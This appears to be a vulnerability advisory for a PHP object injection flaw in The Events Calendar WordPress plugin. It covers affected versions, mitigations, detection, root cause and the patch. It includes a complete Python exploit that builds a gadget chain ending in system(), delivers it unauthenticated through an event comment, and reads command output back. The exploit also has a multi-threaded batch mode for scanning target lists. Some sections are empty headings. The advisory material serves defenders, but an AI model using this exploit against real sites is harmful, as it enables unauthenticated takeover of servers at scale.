#Summary

CVE-2026-78006 is a critical PHP object injection vulnerability in The Events Calendar WordPress plugin (versions 6.17.3 through 6.17.4) that enables unauthenticated remote code execution. The vulnerability exists in the widget instance signing mechanism, which fails to properly validate serialized PHP objects before signing them, allowing an attacker to inject a malicious object that is executed when the widget is rendered.

CVSS Score: 9.8 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

#Am I affected?

#How to check

#Check your plugin version

In WordPress, navigate to Plugins and look for "The Events Calendar". The version is displayed next to the plugin name. Alternatively, check /wp-content/plugins/the-events-calendar/ for the version in the plugin header, or use the WP-CLI command:

wp plugin list | grep "the-events-calendar"

A vulnerable install shows version 6.17.3 or 6.17.4. Patched systems show 6.17.4.1 or later.

#Verify comments are enabled

On any published event page, look for a comment form. If the comment form is present and accepts submissions, the precondition is met.

#Fix and mitigation

#Fix

Update The Events Calendar to version 6.17.4.1 or later. This can be done through the WordPress plugin update interface or via WP-CLI:

wp plugin update the-events-calendar

#If you cannot upgrade immediately

The vulnerability requires two conditions to be exploitable:

  1. Disable comments on events - navigate to Events > Settings > Display and uncheck "Show Comments", or disable comments through the plugin settings.
  2. Disable the V2 single-event template if possible, or use a non-block theme. The vulnerability is gated behind wp_is_block_theme(), so switching to a classic (non-block) WordPress theme provides defense in depth.

#Detection

Monitor web server logs for POST requests to /wp-comments-post.php containing serialized data or block delimiters, followed by requests to files under wp-content/uploads/. The attack requires:

#Root cause analysis

#The vulnerability

The plugin's enable_rendering_widget_copied() filter is designed to allow widget instances to be copied and pasted between sites. When a widget block is encountered during rendering, the filter validates the serialized widget instance using is_safe_widget_instance(), then signs it with a WordPress HMAC so that WordPress core's legacy-widget block renderer can trust it.

The critical flaw: the filter validates the parsed value but signs the raw bytes.

#Vulnerable code path

Here is the filter that performs validation and signing:

public function enable_rendering_widget_copied( $parsed_block ) {
    if ( ! isset( $parsed_block['attrs']['idBase'] ) ) {
        return $parsed_block;
    }

    $widget_id = $parsed_block['attrs']['idBase'];

    if ( ! str_starts_with( $widget_id, 'tribe-widget-' ) ) {
        return $parsed_block;
    }

    $instance = $parsed_block['attrs']['instance'] ?? [];

    if ( ! isset( $instance['encoded'], $instance['hash'] ) ) {
        return $parsed_block;
    }

    $serialized_instance = base64_decode( $instance['encoded'] );

    // Skip instances that do not pass validation.
    if ( ! $this->is_safe_widget_instance( $serialized_instance ) ) {
        return $parsed_block;
    }

    $instance['hash'] = wp_hash( $serialized_instance );

    $parsed_block['attrs']['instance'] = $instance;

    return $parsed_block;
}

The is_safe_widget_instance() function attempts to prevent object injection:

protected function is_safe_widget_instance( $serialized ) {
    if ( ! is_string( $serialized ) ) {
        return false;
    }

    // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
    $data = @unserialize( $serialized, [ 'allowed_classes' => false ] );

    return is_array( $data ) && ! $this->contains_object( $data );
}

protected function contains_object( $data ) {
    if ( is_object( $data ) ) {
        return true;
    }

    if ( is_array( $data ) ) {
        foreach ( $data as $value ) {
            if ( $this->contains_object( $value ) ) {
                return true;
            }
        }
    }

    return false;
}

This check creates a "preview" of what the serialized data contains by unserializing it with allowed_classes => false, which prevents object instantiation. However, when PHP unserializes data with allowed_classes => false, it does not fire magic methods at all - not even __wakeup() or __unserialize(). The real unserialize() that WordPress core performs later will fire these methods.

#How input reaches the sink

The attack works because:

  1. An attacker places a serialized object record in an array slot that will be overwritten by a duplicate key
  2. When PHP parses the sanitizing version with allowed_classes => false, the duplicate key causes the later value to overwrite the first one, and the object record is discarded
  3. The contains_object() check only sees the parsed result (an object-free array) and returns true (safe)
  4. The plugin then signs these raw bytes with wp_hash()
  5. When the attacker submits the widget block in a comment, WordPress renders it with the correct signature
  6. WordPress core's legacy-widget block renderer unserializes the same bytes without the allowed_classes restriction
  7. PHP instantiates the discarded object during parsing and fires __destruct() when it's discarded
  8. This triggers a PHP object deserialization gadget chain leading to code execution

The vulnerability becomes unauthenticated because the plugin's V2 single-event template runs do_blocks() over the buffered comment thread. Any block delimiter appearing in a visitor's comment body gets server-side rendered before any moderator reviews it.

#Patch diff

The patch makes two changes to close the vulnerability:

#1. Sign the canonicalized value, not the submitted bytes

The vulnerable function signature changes from is_safe_widget_instance() (boolean return) to get_safe_widget_instance() (returns the sanitized instance or null):

-protected function is_safe_widget_instance( $serialized ) {
+protected function get_safe_widget_instance( $serialized ) {
     if ( ! is_string( $serialized ) ) {
-        return false;
+        return null;
     }

     // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
     $data = @unserialize( $serialized, [ 'allowed_classes' => false ] );

-    return is_array( $data ) && ! $this->contains_object( $data );
+    if ( ! is_array( $data ) || $this->contains_object( $data ) ) {
+        return null;
+    }
+
+    // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize
+    return serialize( $data );
 }

The key change: after validating the parsed data is safe, the function re-serializes it. This canonicalisation process removes any discarded object records - they cannot survive re-serialization because they were already discarded by parsing.

Then, all call sites sign the re-serialized value:

-$serialized_instance = base64_decode( $instance['encoded'] );
-
 // Skip instances that do not pass validation.
-if ( ! $this->is_safe_widget_instance( $serialized_instance ) ) {
+$safe_instance = $this->get_safe_widget_instance( base64_decode( $instance['encoded'] ) );
+if ( null === $safe_instance ) {
     return $parsed_block;
 }

-$instance['hash'] = wp_hash( $serialized_instance );
+$instance['encoded'] = base64_encode( $safe_instance );
+$instance['hash']    = wp_hash( $safe_instance );

Now the HMAC is computed over serialize(unserialize($s, ['allowed_classes' => false])), which cannot carry an object record.

#2. Defense in depth - stop block-parsing comment HTML

The plugin also removes the do_blocks() call from the single-event template:

 $html = ob_get_clean();

-if ( function_exists( 'do_blocks' ) ) {
-    $html = do_blocks( $html );
-}
-
 return $html;
 }

Block parsing is now left to the normal content filters, which never see comment text until after moderation.

#Proof of concept

#exploit.py - The Events Calendar PHP Object Injection RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-78006 - The Events Calendar unauthenticated PHP object injection to RCE
Affected: The Events Calendar (WordPress plugin) 6.17.3 through 6.17.4
Type: RCE (CWE-502, deserialization of untrusted data)

The plugin's `enable_rendering_widget_copied()` filter signs any serialized widget
instance that its `is_safe_widget_instance()` gate accepts. The gate validates the
*parsed value* while the plugin signs the *raw bytes*, so an object record placed in
an array slot that a duplicate key overwrites is invisible to the gate yet is still
constructed by core's unrestricted `unserialize()`. The discarded object's
`__destruct()` starts a POP chain that ends in `call_user_func_array()`.

Delivery is unauthenticated: the V2 single-event template runs `do_blocks()` over the
buffered comment thread, and WordPress hands a fresh commenter a moderation-hash URL
that renders their own pending comment immediately.

The injected block renders to an empty string whether or not the chain fired, so this
tool does not use the response body as its oracle. It has the command write its output
to a randomly named file under wp-content/uploads and then fetches that file over HTTP.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 8080
  python exploit.py --host https://events.corp.com --command "id"
  python exploit.py --host https://events.corp.com/blog --command "uname -a"
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import base64
import json
import re
import secrets
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

CVE_ID    = "CVE-2026-78006"
VULN_TYPE = "RCE"

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0 Safari/537.36"

# Gadget classes, all bundled with the plugin and registered with its autoloader.
FCH_CLASS      = "TEC\\Common\\Monolog\\Handler\\FingersCrossedHandler"
CALLBACK_CLASS = "Tribe__Utils__Callback"
WIDGET_ID_BASE = "tribe-widget-events-list"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# PHP serialization primitives.
#
# The payload is assembled as raw bytes on purpose. Its defining feature is a
# duplicate array key, which PHP's own serialize() can never emit. All length
# prefixes are BYTE lengths, and protected property names carry literal NUL
# bytes ("\0*\0name") that have to be counted and preserved.
# --------------------------------------------------------------------------

def _s_str(value) -> bytes:
    raw = value.encode("utf-8") if isinstance(value, str) else value
    return b's:%d:"%s";' % (len(raw), raw)


def _s_prot(name: str) -> bytes:
    """Serialized name of a protected property."""
    return _s_str(b"\x00*\x00" + name.encode("utf-8"))


def _s_bool(value: bool) -> bytes:
    return b'b:%d;' % (1 if value else 0)


def _s_array(items) -> bytes:
    out = b'a:%d:{' % len(items)
    for key, val in items:
        out += (b'i:%d;' % key) if isinstance(key, int) else _s_str(key)
        out += val
    return out + b'}'


def _s_object(cls: str, props) -> bytes:
    raw = cls.encode("utf-8")
    out = b'O:%d:"%s":%d:{' % (len(raw), raw, len(props))
    for name, val in props:
        out += name + val
    return out + b'}'


def build_payload(command: str, key: str = None) -> bytes:
    """Serialized POP chain whose object record sits in a discarded slot.

    Chain: Handler::__destruct -> FingersCrossedHandler::close -> getHandler()
    invokes the attacker-controlled $handler as a callable, which lands in
    Tribe__Utils__Callback::__call and ends in call_user_func_array().
    """
    key = key or secrets.token_hex(3)

    # is_empty = false makes __call() discard Monolog's own arguments and use ours.
    item = _s_object("stdClass", [
        (_s_str("callback"),  _s_str("system")),
        (_s_str("arguments"), _s_array([(0, _s_str(command))])),
        (_s_str("is_empty"),  _s_bool(False)),
    ])

    callback_obj = _s_object(CALLBACK_CLASS, [
        (_s_str("items"),    _s_array([(key, item)])),
        (_s_prot("prefix"),  _s_str("callback_")),
    ])

    # passthruLevel = null keeps flushBuffer() a no-op, so close() reaches
    # getHandler() with nothing else touching the empty buffer.
    gadget = _s_object(FCH_CLASS, [
        (_s_prot("handler"),       _s_array([(0, callback_obj), (1, _s_str("callback_" + key))])),
        (_s_prot("buffer"),        _s_array([])),
        (_s_prot("passthruLevel"), b'N;'),
        (_s_prot("buffering"),     _s_bool(True)),
    ])

    # The second "title" overwrites the first, so the sanitizing preview returns
    # a plain object-free array while the real parse still builds the gadget.
    return (b'a:2:{' + _s_str("title") + gadget
            + _s_str("title") + _s_str("Upcoming Events") + b'}')


def build_block(payload: bytes) -> str:
    """The core/legacy-widget delimiter that carries the instance."""
    attrs = json.dumps({
        "idBase": WIDGET_ID_BASE,
        "instance": {
            "encoded": base64.b64encode(payload).decode("ascii"),
            # Only has to be present. The plugin overwrites it with a valid wp_hash.
            "hash": "",
        },
    }, separators=(",", ":"))
    return "<!-- wp:legacy-widget %s /-->" % attrs


# --------------------------------------------------------------------------
# HTTP helpers (network I/O only, no assumptions about the target's host OS)
# --------------------------------------------------------------------------

class _NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *args, **kwargs):
        return None


def _opener(follow: bool):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    handlers = [urllib.request.HTTPSHandler(context=ctx)]
    if not follow:
        handlers.append(_NoRedirect())
    return urllib.request.build_opener(*handlers)


def _request(url, data=None, referer=None, follow=True, timeout=30):
    """Returns (status, body_text, headers). Never raises on HTTP status."""
    headers = {"User-Agent": UA, "Accept": "*/*"}
    if referer:
        headers["Referer"] = referer
    body = None
    if data is not None:
        body = urllib.parse.urlencode(data).encode()
        headers["Content-Type"] = "application/x-www-form-urlencoded"
    req = urllib.request.Request(url, data=body, headers=headers)
    try:
        resp = _opener(follow).open(req, timeout=timeout)
        return resp.getcode(), resp.read().decode("utf-8", "replace"), dict(resp.headers)
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read().decode("utf-8", "replace"), dict(exc.headers)


def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    netloc = host if ((use_tls and port == 443) or (not use_tls and port == 80)) else f"{host}:{port}"
    prefix = (path or "/").rstrip("/")
    return f"{scheme}://{netloc}{prefix}"


def post_comment(base, event_url, post_id, block, timeout=30, notify=None):
    """POST the payload comment, backing off around WordPress comment flood control.

    WordPress rejects a second comment from the same IP within ~15 seconds with a
    429. On a busy target that is indistinguishable from "not vulnerable" unless we
    wait it out, so retry a couple of times before giving up.
    """
    author = "guest%s" % secrets.token_hex(3)
    data = {
        "comment": block,
        "author": author,
        "email": f"{author}@example.com",
        "url": "",
        "comment_post_ID": post_id,
        "comment_parent": "0",
    }
    for attempt in range(3):
        code, body, headers = _request(f"{base}/wp-comments-post.php", data=data,
                                       referer=event_url, follow=False, timeout=timeout)
        if code != 429:
            return code, body, headers
        if attempt < 2:
            if notify:
                notify(attempt + 1)
            time.sleep(16)
    return code, body, headers


def find_event(base: str, timeout=30):
    """Locate a published event and the post ID its comment form targets."""
    event_url = None

    # The plugin exposes the tribe_events post type over the REST API.
    code, body, _ = _request(f"{base}/wp-json/wp/v2/tribe_events?per_page=5&status=publish",
                             timeout=timeout)
    if code == 200:
        try:
            for entry in json.loads(body):
                if entry.get("link"):
                    event_url = entry["link"]
                    break
        except (ValueError, TypeError, AttributeError):
            pass

    # Fall back to scraping the calendar archive.
    if not event_url:
        for archive in ("/events/", "/?post_type=tribe_events"):
            code, body, _ = _request(base + archive, timeout=timeout)
            if code != 200:
                continue
            match = re.search(r'''href=["']([^"']*?/event/[^"'#?]+)["']''', body)
            if match:
                event_url = match.group(1)
                break

    if not event_url:
        return None, None, "no published event found"

    code, page, _ = _request(event_url, timeout=timeout)
    if code != 200:
        return None, None, f"event permalink returned HTTP {code}"

    match = re.search(r'name=["\']comment_post_ID["\'][^>]*value=["\'](\d+)', page)
    if not match:
        return event_url, None, "no comment form on the event (comments disabled or showComments off)"

    return event_url, match.group(1), ""


def run_chain(base: str, command: str, timeout=30):
    """Deliver the payload and read the command output back. Returns (ok, evidence)."""
    event_url, post_id, err = find_event(base, timeout)
    if not post_id:
        return False, err or "target does not expose a commentable event"

    marker = secrets.token_hex(8)
    out_rel = f"wp-content/uploads/{marker}.txt"
    out_url = f"{base}/{out_rel}"

    # The chain re-fires on every render of a stored comment, so a leftover file
    # from an earlier run would make a broken payload look successful.
    code, _, _ = _request(out_url, timeout=timeout)
    if code == 200:
        return False, "output path already present before the exploit ran"

    # CWD for a WordPress front end request is the install root, so a relative
    # redirect lands under wp-content/uploads. The subshell keeps the redirect
    # applied to the whole command, not just the last one in a ';' list.
    payload = build_payload(f"({command}) > {out_rel} 2>&1")
    block = build_block(payload)

    code, body, headers = post_comment(base, event_url, post_id, block, timeout=timeout)
    if code not in (301, 302):
        reason = "flood control still rejecting" if code == 429 else "comments closed or filtered"
        return False, f"comment rejected (HTTP {code}) - {reason}"

    # A held comment yields a moderation-hash URL that lets its unauthenticated
    # author view it immediately. An auto-approved one is already live.
    render_url = headers.get("Location") or event_url

    code, page, _ = _request(render_url, timeout=timeout)
    if code != 200:
        return False, f"render URL returned HTTP {code}"
    if "wp:legacy-widget" in page:
        return False, "block delimiter echoed literally - comment text was not block-parsed (patched)"

    code, content, _ = _request(out_url, timeout=timeout)
    if code == 200 and content.strip():
        return True, content
    return False, "chain did not execute - payload signed but no command output produced"


# --------------------------------------------------------------------------
# Scan mode
# --------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", command: str = "id"):
    """Silent probe for --list mode. Never prints, never exits."""
    try:
        ok, evidence = run_chain(_base_url(host, port, use_tls, path), command, timeout=20)
        if ok:
            return True, evidence.strip().splitlines()[0][:120]
        return False, evidence
    except Exception as exc:
        return False, f"unreachable ({exc.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, command: str = "id") -> None:
    import concurrent.futures

    with open(targets_file) as handle:
        targets = [_parse_target(line, default_port) for line in handle]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(target):
        host, port, use_tls, path = target
        label = _base_url(host, port, use_tls, path)
        ok, evidence = _try_exploit(host, port, use_tls, path, command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
        futures = {pool.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------

def exploit(host: str, port: int, use_tls: bool, path: str, command: str) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)

    step(1, "Locating a published event with comments open...")
    event_url, post_id, err = find_event(base)
    if not post_id:
        section("DISCOVERY", err or "no commentable event found")
        done(False, f"No usable event on the target - {err}")
    print(f"        event: {event_url}  (post ID {post_id})")

    marker = secrets.token_hex(8)
    out_rel = f"wp-content/uploads/{marker}.txt"
    out_url = f"{base}/{out_rel}"

    step(2, "Confirming the output path is clear...")
    code, _, _ = _request(out_url)
    if code == 200:
        section("PREFLIGHT", f"{out_url} already exists")
        done(False, "Output path already present before the run - cannot trust the result")
    print(f"        {out_rel} -> HTTP {code} (clear)")

    step(3, "Building the POP chain (gadget in a duplicate-key slot)...")
    payload = build_payload(f"({command}) > {out_rel} 2>&1")
    block = build_block(payload)
    print(f"        {len(payload)} bytes: FingersCrossedHandler::__destruct -> "
          f"close() -> getHandler() -> Callback::__call -> system()")

    step(4, "Posting the comment carrying the legacy-widget block...")
    code, body, headers = post_comment(
        base, event_url, post_id, block,
        notify=lambda n: print(f"        HTTP 429 flood control, waiting 16s (retry {n}/2)..."))
    if code not in (301, 302):
        section("COMMENT RESPONSE", body[:600])
        reason = "flood control still rejecting" if code == 429 else "comments closed or filtered"
        done(False, f"Comment was rejected (HTTP {code}) - {reason}")
    render_url = headers.get("Location") or event_url
    print(f"        HTTP {code} -> {render_url}")

    step(5, "Fetching the moderation-hash URL to trigger do_blocks()...")
    code, page, _ = _request(render_url)
    if code != 200:
        done(False, f"Render URL returned HTTP {code}")
    if "wp:legacy-widget" in page:
        section("PAGE SOURCE", "block delimiter is present verbatim in the response")
        done(False, "Comment text was not block-parsed - target is patched (6.17.4.1+)")
    print(f"        HTTP {code}, {len(page)} bytes, block delimiter consumed")

    step(6, "Reading the command output back over HTTP...")
    code, content, _ = _request(out_url)
    if code != 200 or not content.strip():
        section("OUTPUT FETCH", f"HTTP {code}, {len(content)} bytes")
        done(False, "Payload was delivered but produced no command output - target may be patched")

    section("COMMAND OUTPUT", content)
    first_line = content.strip().splitlines()[0]
    done(True, f"RCE confirmed - command '{command}' output: {first_line}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/blog)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port",    type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--command", default="id",         help="Command to execute (default: id)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.command)

#Usage

python exploit.py --host 192.168.1.10 --command id

Against HTTPS or non-standard ports:

python exploit.py --host https://events.example.com:8443 --command "uname -a"
python exploit.py --host https://events.example.com/blog --command "whoami"

Batch scan:

python exploit.py --list targets.txt --workers 20

#Vulnerable target output

============================================================
  ALIM EXPLOIT  CVE-2026-78006
  Type: RCE  |  Target: 127.0.0.1:8106
============================================================

[STEP 1] Locating a published event with comments open...
        event: http://127.0.0.1:8106/event/autumn-community-meetup/  (post ID 4)
[STEP 2] Confirming the output path is clear...
        wp-content/uploads/6a5f048203c93986.txt -> HTTP 404 (clear)
[STEP 3] Building the POP chain (gadget in a duplicate-key slot)...
        488 bytes: FingersCrossedHandler::__destruct -> close() -> getHandler() -> Callback::__call -> system()
[STEP 4] Posting the comment carrying the legacy-widget block...
        HTTP 302 -> http://127.0.0.1:8106/event/autumn-community-meetup/?unapproved=12&moderation-hash=1407616c5c54d0a5a4e8cb8abbf3c8f9#comment-12
[STEP 5] Fetching the moderation-hash URL to trigger do_blocks()...
        HTTP 200, 53384 bytes, block delimiter consumed
[STEP 6] Reading the command output back over HTTP...

--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

#Patched target output

The same exploit against a patched 6.17.4.1 installation reports failure:

[STEP 5] Fetching the moderation-hash URL to trigger do_blocks()...

--- PAGE SOURCE ---
block delimiter is present verbatim in the response
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Comment text was not block-parsed - target is patched (6.17.4.1+)
============================================================

The block delimiter appears in the page source because the patched version no longer runs do_blocks() over the comment thread.

#Exploitation notes

#Preconditions

#Reliability

The exploitation is deterministic. The gadget chain requires no ASLR bypass, no heap grooming, and no information leak. The attack succeeds or fails based purely on whether the signatures match and whether the block is parsed - both binary outcomes that can be verified through network observation alone.

#Impact

Successful exploitation grants the attacker the ability to execute arbitrary commands as the web server user account. This can be leveraged to:

#Command execution quirks

#References